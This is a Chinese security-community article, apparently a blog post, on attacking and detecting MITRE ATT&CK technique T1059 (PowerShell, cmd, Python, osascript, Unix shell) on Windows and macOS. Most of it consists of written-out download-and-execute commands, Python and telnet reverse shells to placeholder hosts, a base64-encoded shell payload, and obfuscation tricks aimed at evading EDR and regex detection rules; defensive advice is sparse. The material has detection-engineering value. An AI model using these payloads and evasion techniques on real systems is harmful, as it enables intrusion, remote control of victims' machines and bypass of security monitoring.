ATT&CK中的攻与防——T1059


前言

为什么会有此篇文章,随着攻防大环境的深入,ATT&CK攻防矩阵也逐渐步入各个企业视野,越来越多的企业采用ATT&CK矩阵来作为反入侵检测,但是笔者很少看到有文章具体分析每一条策略的检测逻辑已经绕过方案,WINDOWS端的或许是零零碎碎的技术细节,MAC的更无从谈起,笔者从事安全的时间也不长,对于ATT&CK矩阵的了解也只能是略知一二,本文就以T1059策略作为切入点,分析一下ATT&CK矩阵中的攻与防,如果读者认为此篇文章能学到一些不一样的东西,笔者自然是很开心,笔者后续也会把ATT&CK矩阵的所有TTP做一个技术分析

WINDOWS

T1059.001 powershell

对于powershell的检测,我们可以站在攻击者的角度去思考,powershell能给攻击者带来什么,最直接的是通过cs生成的ps1上线,亦或者是通过powershell远程加载其他恶意样本,或者是用powershell下载工具,进一步横线利用,或者利用powershell收集一些敏感信息,所以我们可以从2个点去突破策略的编写,第一个是从下载去编写策略,第二个是从执行去编写策略。

2.1.1

对于利用powershell去下载文件,我们最常见的命令是什么呢?

powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.10:13337/test.txt', 'test.txt')

image.png
如果是防守方,策略的编写就必须具有通用性,匹配固定且不易产生误报的,那就是System.Net.WebClient,当然,策略的编写不仅仅局限于cmd cmd_chain的匹配,也可以cep关联,罕见hash的计算去寻找潜在的恶意命令,但是这些内容都不在本篇文章技术范围之内,此外,防守方还会采用powershell语言模式,当然,这不是powershell的Get-ExecutionPolicy策略,感兴趣的朋友可以看看微软文档:
https://docs.microsoft.com/zh-cn/powershell/module/microsoft.powershell.core/about/about_language_modes?view=powershell-7.2
回归正题,如果正则匹配System.Net.WebClient,我们应该怎么绕过呢?
最简单的就是一些特殊字符串的绕过

powershell.exe (New-Object System.Net.We"bC"lient).DownloadFile('http://192.168.1.10:13337/test.txt', 'test.txt')

image.png
当然,还有很多的特殊符号,比如

''   ``   @       ()        ^^ 

笔者就不耽误大家时间了,自行fuzzing
image.png
利用环境变量绕过

powershell.exe (New-Object System.Net.Web%comspec:~20,1%lient).DownloadFile('http://192.168.1.10:13337/test.txt', 'congya.txt')

image.png
如果规则是和DownloadFile匹配在一起的话,我们也可以分2段执行

$client = new-object System.Net.WebClient
$client.DownloadFile('http://192.168.1.10:13337/test.txt', 'C:\Users\xxxx\Desktop\lll.txt')

image.png
当然,笔者朋友们也可以思考一下(cs常见的上线命令,能否变形)

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xx.xxx.xx.xx:8001/aa'))"

2.1.2

当然,下载恶意文件,不仅仅有WebClient,我们还可以有iwr

powershell.exe iwr -uri http://192.168.1.10:13337/test.txt -o iwr.txt

image.png
当然

iwr == invoke-webrequest
powershell.exe invoke-webrequest -uri http://192.168.1.10:13337/test.txt -o iwr.txt

也可以使用BitsTransfer

$url = "http://192.168.1.10:13337/test.txt"
$output = "C:\Users\xinxin\Desktop\Transfer.txt"
Import-Module BitsTransfer
start-BitsTransfer -Source $url -Destination $output

image.png

2.1.3

利用powershell收集敏感信息

Get-Content (Get-PSReadlineOption).HistorySavePath        //获取powershell历史命令

image.png
查询rdp连接ip,无感查询域用户
image.png
利用管道查询qq号
image.png
当然,利用powershell进行渗透收集信息的手法多种多样,如何在这方面做出检测也是企业需要考虑的,此外,Powershell作为windows最常用也是最核心的东西,笔者在这篇幅根本说不完,包括常见的后渗透工具,powersploit,empire,mimikatz这些对抗也毫无提级,对于混淆工具Invoke-Obfuscation等也没有说明,笔者也希望通过前面一些手法的简介,旁敲侧击的能够给读者朋友带来一些不一样的灵感

1059.003 cmd

对于cmd,也是各位安全师傅们经常使用打交道的,比如恶意的evil.exe,我们怎么下载,怎么执行,拥有什么比较好的方法,拿到webshell或者上线c2时,cmd无回显,又有哪些办法,一个一个说

3.1.1

利用cmd下载文件
最常见的就是我们的certutil

certutil -urlcache -split -f http://192.168.1.11:1337/test.txt

image.png
如果防守规则写死,certutil,urlcache,split出现就拦截
利用超过ASCII编码的特殊字符串绕过
image.png
当然,我们还可以对certutil做手脚,比如利用where certutil找出certutil位置,再利用copy或者rename更改,或者使用环境变量,即可使用

%comspec:~20,1%ertutil        cer^tut^il        (certutil)

image.png

利用bitsadmin下载文件

bitsadmin /transfer n http://192.168.1.11:1337/test.txt C:\Users\xxxx\Desktop\test.txt
bitsadmin /rawreturn /transfer down "http://192.168.1.11:1337/test.txt" C:\Users\xxx\Desktop\test.txt

image.png

利用cer证书下载

certreq -get -config http://192.168.1.11:1337/test.txt c:\windows\win.ini C:\Users\xinxin\Desktop\test3.txt
certreq -post -config https://www.baidu.com/robots.txt c:\windows\win.ini C:\Users\xxx\Desktop\test2.html

image.png

利用cmdl32下载(就不截图了)

    icacls %cd% /deny %username%:(OI)(CI)(DE,DC)
    set tmp=%cd%
    echo [Connection Manager] > settings.txt
    echo CMSFile=settings.txt >> settings.txt
    echo ServiceName=WindowsUpdate >> settings.txt
    echo TunnelFile=settings.txt  >> settings.txt
    echo [Settings]  >> settings.txt
    echo UpdateUrl=http://127.0.0.1/sss.txt  >> settings.txt                //生成配置文件
    cmdl32 /vpn /lan %cd%\settings.txt                                    //此时会生成对应tmp文件
    icacls %cd% /remove:d %username%
    move VPNBDFF.tmp sss.txt                                                //修改对应的名字

当然,还有我们的wget curl,就不一一列举了,当然,也有师傅会说,没有什么mshta,cscript来下载,这些都会基于T1218做技术分享的,至于利用rundll32执行恶意文件,也不会在本章出现

3.1.2

执行恶意文件

Pcalua -m -a mmm.exe

image.png

forfiles -P c:\windows\system32 /m notepad.exe /c c:\users\xxx\desktop\mmm.exe

image.png

wmic process call create C:\Users\xxx\Desktop\mmm.exe

image.png

外带执行命令
通过wmic配合regsvr32进行外带(参考倾旋师傅文章)

wmic process call create "regsvr32 /s /n /u /i:http://xx.xx.xx.xx:13307/test.txt scrobj.dll"

image.png
还有通过dnslog外带来执行,网上也有许多参考文章,笔者在这里也就不献丑了,当然,还有通过bat,vbs等脚本执行(如果某些applocker策略有遗漏,可绕过),通过7zip等其他应用执行恶意文件,自己上传cmd,笔者都没有在文中体现,也没有给出防守的解决方案(可通过相应的cmd_chain关联,父子进程,file_path等参数查看,也可以cep关联),说的很空洞,哈哈哈哈,关于T1059运用cmd的手法,不同的师傅会有不同的理解

1059.006 python

关于python,笔者就把mac和win一起说了,在windows里面,python的环境可以在域环境里面给予攻击者巨大的帮助,不论是impack工具包亦或者是nopac,cve等脚本,都是由python编写,利用也是十分方便,mac对于python的检测,目前还是基于对文件的传输和下载以及执行
对于文件的下载

python2 -c "import urllib2;u=urllib2.urlopen('http://xx.xx.xx.xx:13307/test.txt');file=open('test.txt','w');file.write(u.read());file.close();"

image.png
对于文件的执行

python3 -c "import os;output=os.system('C:/Users/xxxx/Desktop/7zfm.exe');"
python3 -c "import os;output=os.popen('C:/Users/xxxx/Desktop/7zfm.exe');"            //windows

image.png

python -c 'import os;output=os.popen("bash /Users/congya/Desktop/test.sh");'        //mac

image.png
反弹shell

python -c 'import subprocess,os,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xx.xx.xx.xx",xxxx));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image.png
当然,对于反弹shell的绕过,我们同样可以通过mac的环境变量进行绕过,where is然后cp||mv对python的名字更改,以及字符串的利用

pyth${TMPDIR: 6: 1}n3

image.png

python -c 'import subprocess,os,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xx.xx.xx.xx",xxxx));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c 'import subprocess,os,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect (("xx.xx.xx.xx",xxxx));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

这2条命令有和区别,区别在于s.connect (("xx.xx.xx.xx",xxxx))中间的空格,笔者用此方法绕过了某EDR的某一层检测

python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('xx.xx.xx.xx',1234))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

image.png
利用base64加解密反弹

python -c "import base64;exec(base64.b64decode('aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzCnM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnMuY29ubmVjdCgoJ2lwJyxwb3J0KSkKb3MuZHVwMihzLmZpbGVubygpLDApCm9zLmR1cDIocy5maWxlbm8oKSwxKQpvcy5kdXAyKHMuZmlsZW5vKCksMikKcD1zdWJwcm9jZXNzLmNhbGwoWycvYmluL2Jhc2gnLCctaSddKQ=='))"

image.png

mac

T1059.002 osascript

对于此条规则的检测,核心点在于osascript与之后面对用的风险命令行

osascript -e 'do shell script "curl http://xx.xx.xx.xx:6007/test.sh | bash"'            //

下载远程vps的恶意sh脚本并且执行
一般的检测规则对应osascript curl bash
那么我们常见的绕过payload如何

osascript -e 'do shell script "wget http://xx.xx.xx.xx:6007/test.sh | bash"'            //替换wget

osascript -e 'do shell script "wget http://xx.xx.xx.xx:6007/test.sh | bin/sh"'        //替换bash

osascript -e 'do shell script "cu\\rl http://xx.xx.xx.xx:6007/test.sh | bash"'        //特殊字符串,\\

osascript -e 'do shell script "cu`aa`rl http://xx.xx.xx.xx:6007/test.sh | bash"'        //特殊字符串``

osascript -e 'do shell script "cu${TMPDIR: 3: 1}l http://xx.xx.xx.xx:6007/test.sh | bash"'                //特殊字符串,环境变量

osascript -e 'do shell script "curl http://xx.xx.xx.xx:6007/test.sh | $(echo /b)in$(echo /ba)sh"'        //特殊字符串,混淆bin/bash

image.png
image.png

T1059.004 Unix Shell

对于此条规则的检测,和windows的powershell以及cmd检测思路是一样的,对于下载,执行等敏感恶意行为做检测
mac除了常见的wget,curl下载文件,还有

scp -r root@xx.xx.xx.xx:/root/test.sh        //scp下载恶意文件
rsync -av root@xx.xx.xx.xx:/root/test.sh        //rsync下载恶意文件

echo "curl http://xx.xx.xx.xx:xxx/test.sh | bash" | base64
echo Y3VybCBodHRwOi8veHgueHgueHgueHg6eHh4L3Rlc3Quc2ggfCBiYXNoCg== | base64 -d | sh        //通过base64执行恶意命令

echo Y3VybCBodHRwOi8veHgueHgueHgueHg6eHh4L3Rlc3Quc2ggfCBiYXNoCg== | \base64 \-\Dd | sh        //通过对base64混淆

printf Y3VybCBodHRwOi8veHgueHgueHgueHg6eHh4L3Rlc3Quc2ggfCBiYXNoCg== | base64 -d | sh        //利用printf执行恶意命令

当然,还有我们常见的反弹shell(前文已经例举python,常见的还有lua,ruby,php,perl),当然,有些语言的局限性比较大,虽然mac自带ruby,但是常见的lua需要安装requests,sockets库,利用条件也会相对苛刻

利用telnet反弹shell

telnet ip 输入port | /bin/bash | telnet ip 输出port

至于mac用awk,mknod反弹shell,笔者的环境失败了,如果有知道的师傅,还望指点一二

PS:对于T1059.002提及的环境变量,一些特殊字符串,读者朋友们也都可以转化利用

后记

此篇文章偏为基础,意在为各个在做ATT&CK矩阵的企业提供一些浅薄的思路,受二龙师傅邀请,若文章有错误或补充,望给位师傅提出指导性建议,第一次投稿跳跳糖社区,还望各位师傅海涵,如果本篇文章能给师傅们带来一些不一样的思路,阿鑫觉得还是很舒服了

评论

0

0 2022-08-29 16:01:09

大佬,你是查看ATT&CK中的Procedure Examples,来学习的么,萌新问下

C

congya 2022-08-30 14:56:31

是依据该框架写的一些攻防经验技巧,但是也是有很多没有提及的

C

congya

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

企业安全 文章:40 篇
Exploit 文章:40 篇
神器分享 文章:71 篇
CTF 文章:62 篇
软件安全 文章:17 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

U

unfixable

所有的接口都是反射去调用的,这些接口的参数都是source,代码量还大,只能小范

D

duidui

师傅 有个地方写错了 __FUNCTION__ 是获取函数名的魔术方法

S

solocogo

博主能共享下样本吗?谢谢

eternal8233

师傅,我能请教一下,字符串拼接的webshell在php5.6下能有回显,在ph

D

Da22le

因为JdbcRowSetImpl是通过JNDI来实现rce的,191以后对JND

目录